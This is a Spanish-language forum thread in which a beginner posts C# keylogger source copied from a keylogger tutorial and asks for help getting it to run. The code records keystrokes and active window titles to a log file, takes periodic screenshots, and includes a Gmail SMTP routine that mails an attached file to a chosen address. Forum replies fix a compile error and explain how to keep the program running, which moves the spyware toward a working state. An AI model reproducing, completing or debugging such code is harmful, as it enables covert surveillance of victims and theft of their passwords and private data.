El siguiente codigo para detectar cuando se pulsa ShiftKey y CapsLock y asi registrar las mayusculas en un log lo saque de:
https://docplayer.es/3204615-Titulo-creacion-de-un-keylogger-lenguaje-c-autor-doddy-hackman-temario.html
private void timer1_Tick(object sender, EventArgs e)
{
for (int num = 0; num <= 255; num++)
{
int numcontrol = GetAsyncKeyState(num);
if (numcontrol == -32767)
{
if (num >= 65 && num <= 122)
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num + 32).ToString();
savefile("logs.html", letra);
}
else if
(Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
else
{
string letra = Convert.ToChar(num j + 32).ToString();
savefile("logs.html", letra);
}
}
}
}
Al querer compilar en esa parte en especifico me salta el siguiente error:
Error CS0103 El nombre 'j' no existe en el contexto actual Main
Ya segui las recomendaciones de VS y nada funciona :-[ , espero me puedan ayudar y gracias de antemano.
Cita de: z3nth10n en 21 Octubre 2018, 16:36 PM
Básicamente, esa "j" no pinta nada ahí :rolleyes:
Gracias bro, ya elimine el string del num j.
Pero ahora me surgio otro problema, a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal? Disculpa que pregunte esque soy novato en esto.
:huh:
using System.Runtime.InteropServices;
using System.Drawing.Imaging;
using System.Net.Mail;
using System;
using System.Net;
using System.Windows.Forms;
using System.Text;
using System.Drawing;
class Program
{
private static void Main(string[] args)
{}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Int32 teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 teclas);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr ventana, StringBuilder
cadena, int cantidad);
string nombre1 = "";
string nombre2 = "";
public void savefile(string file, string texto)
{
try
{
System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
save.Write(texto);
save.Close();
}
catch
{
//
}
}
private void timer1_Tick(object sender, EventArgs e)
{
for (int num = 0; num <= 255; num++)
{
int numcontrol = GetAsyncKeyState(num);
if (numcontrol == -32767)
{
if (num >= 65 && num <= 122)
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num + 32).ToString();
savefile("logs.html", letra);
}
else if
(Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
}
}
}
private void timer2_Tick(object sender, EventArgs e)
{
const int limite = 256;
StringBuilder buffer = new StringBuilder(limite);
IntPtr manager = GetForegroundWindow();
if (GetWindowText(manager, buffer, limite) > 0)
{
nombre1 = buffer.ToString();
if (nombre1 != nombre2)
{
nombre2 = nombre1;
savefile("logs.html", "<br>[" + nombre2 + "]<br>");
}
}
}
public void screenshot(string nombre)
{
try
{
int wid = Screen.GetBounds(new Point(0, 0)).Width;
int he = Screen.GetBounds(new Point(0, 0)).Height;
Bitmap now = new Bitmap(wid, he);
Graphics grafico = Graphics.FromImage((Image)now);
grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he));
now.Save(nombre, ImageFormat.Jpeg);
}
catch
{
//
}
}
private void timer3_Tick(object sender, EventArgs e)
{
string fecha = DateTime.Now.ToString("h:mm:ss tt");
string nombrefinal = fecha.Trim() + ".jpg";
string final = nombrefinal.Replace("_", "_");
screenshot(final);
}
public void Gmail_Send(string usuario, string password, string
target, string asunto, string mensaje_texto, string rutaarchivo)
{
MailAddress de = new MailAddress(usuario);
MailAddress a = new MailAddress(target);
MailMessage mensaje = new MailMessage(de, a);
mensaje.Subject = asunto;
mensaje.Body = mensaje_texto;
Attachment archivo = new Attachment(rutaarchivo);
mensaje.Attachments.Add(archivo);
SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587);
gmailsender.UseDefaultCredentials = true;
gmailsender.EnableSsl = true;
gmailsender.Credentials = new NetworkCredential("TuMail@gmail.com", "Contraseña");
gmailsender.Send(mensaje);
}
}
Cita de: GangstaSik en 22 Octubre 2018, 01:17 AM
a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal?
Has descrito el comportamiento normal y esperado, ¿qué otra cosa esperabas?, jeje, tu método
Main no contiene ninguna orden de interrupción (ej.
Console.Read(); como ya mencionaron), por ende, la ejecución finalizará practicamente al instante despues de ejecutar el programa.
Aparte, otra cosa muy importante a destacar, es que, cuando vayas a "configurar" los timers, debes tener en cuenta que por el hecho de añadir y activar un timer en una aplicación de consola eso no implica que por arte de magia la ejecución de la aplicación se vaya a poner en modo 'stand by'.
Hay diversas metodologías para solventar esto, como por ejemplo la utilización de un semáforo o similar (ej. clase Semaphore, o EventWaitHandle), o realizar una simple llamada a la función
Console.Read() al final del método
Main, o en su lugar un bucle "infinito" con llamadas al método
Thread.Sleep(), o sencillamente crear un búcle de mensajes para el thread actual simplemente realizando una llamada al método
System.Windows.Forms.Application.Run().
Ah, y por último, advertirte de que no se te ocurra usar la clase
System.Windows.Forms.Timer puesto que está especificamente diseñado para ser usado en el entorno single-threaded (STA) de una aplicación con interffaz gráfica (GUI) y te dará problemas - no perceptibles a simple vista - de sincronización y de uso multi-threading en general. Utiliza la clase
System.Threading.Timer en su lugar, o si prefieres puedes usar la clase
System.Timers.Timer, sus diferencias en el modo de empleo son mínimas, y ambos cumplen con una implementación
thread-safe.
Cita de: GangstaSik en 23 Octubre 2018, 11:08 AM
Pues ya intente lo del Console.Read();
pero ni asi quiere andar el codigo
Cita de: GangstaSik en 23 Octubre 2018, 11:08 AM
yo digo que mas bien a de ser el metodo Main lo que esta mal. :(
Y lo está. Quizás no entendiste bien lo que quiso decir el compañero @centurión, digo @zentillón, no... @
z3nth10n (acho, qué nombre más chungo de escribir xD, me niego a pronunciarlo de nuevo, a partir de ahora: @Morty), en fin, el caso es que la orden
Console.Read(); deberías añadirla a final del bloque del método
Main, por la razón ya explicada más arriba.
Saludos.